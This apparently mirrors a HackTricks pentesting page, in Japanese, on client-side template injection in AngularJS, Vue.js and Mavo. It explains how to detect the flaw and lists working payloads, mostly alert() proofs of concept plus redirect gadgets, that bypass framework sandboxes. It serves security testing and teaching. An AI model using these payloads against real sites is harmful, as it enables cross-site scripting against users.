hacktricks/pentesting-web/client-side-template-injection-csti.md
2023-07-07 23:42:27 +00:00

8.4 KiB
Raw Blame History

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

概要

これはクライアント側でのサーバーサイドテンプレートインジェクションのようなものです。SSTIはリモートサーバーでコードを実行することができますが、CSTIは被害者で任意のJavaScriptコードを実行することができます。

この脆弱性をテストする方法は、SSTIの場合と非常に似ています。インタプリタは、二重のキーの間に実行するものを期待し、それを実行します。たとえば、{{ 7-7 }}のようなものを使用すると、サーバーが脆弱であれば0が表示され、そうでなければ元の{{ 7-7 }}が表示されます。

AngularJS

AngularJSは人気のあるJavaScriptライブラリで、ng-app属性AngularJSディレクティブとも呼ばれるを含むHTMLードの内容をスキャンします。ディレクティブがHTMLコードに追加されると、二重の中括弧内でJavaScript式を実行することができます。
たとえば、入力がHTMLの
body
内に反映されており、bodyがng-appで定義されている場合:<body ng-app>

次のように、bodyに追加することで、任意のJavaScriptコードを実行することができます:

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

AngularJSの脆弱性の非常に基本的なオンライン例は、http://jsfiddle.net/2zs2yv7o/で見つけることができます。

{% hint style="danger" %} Angular 1.6ではサンドボックスが削除されたため、このバージョンから{{constructor.constructor('alert(1)')()}}<input ng-focus=$event.view.alert('XSS')>のようなペイロードが機能するはずです。 {% endhint %}

VueJS

脆弱なvue.jsの実装は、https://vue-client-side-template-injection-example.azu.now.sh/で見つけることができます。
動作するペイロード:https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

また、脆弱な例のソースコードはこちらです:https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

VUEにおけるCSTIに関する非常に良い投稿は、https://portswigger.net/research/evading-defences-using-vuejs-script-gadgetsで見つけることができます。

V3

{{_openBlock.constructor('alert(1)')()}}

クレジット:Gareth Heyes、Lewis Ardern、PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

クレジット:Mario Heiderich

さらにVUEのペイロードをチェックする https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

Mavo

ペイロード:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

さらなるペイロードはhttps://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations にあります

ブルートフォース検出リスト

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥